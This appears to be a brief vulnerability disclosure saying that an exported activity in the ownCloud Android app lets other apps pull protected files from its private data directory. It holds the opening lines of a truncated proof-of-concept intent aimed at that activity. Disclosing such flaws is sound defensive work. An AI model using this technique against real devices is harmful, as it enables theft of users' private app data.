Possible to steal any protected files on Android

Hi. I have found an issue which allows to retrieve any files from `/data/data/com.owncloud.android/*` directory. The problem is in exported activity `com.owncloud.android.ui.activity.ReceiveExternalFilesActivity` which accepts a URI to download files. I see that you've added verification path …

        StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
        StrictMode.setVmPolicy(builder.build());
        Intent intent = new Intent("android.intent.action.SEND");
        intent.setClassName("com.owncloud.android", …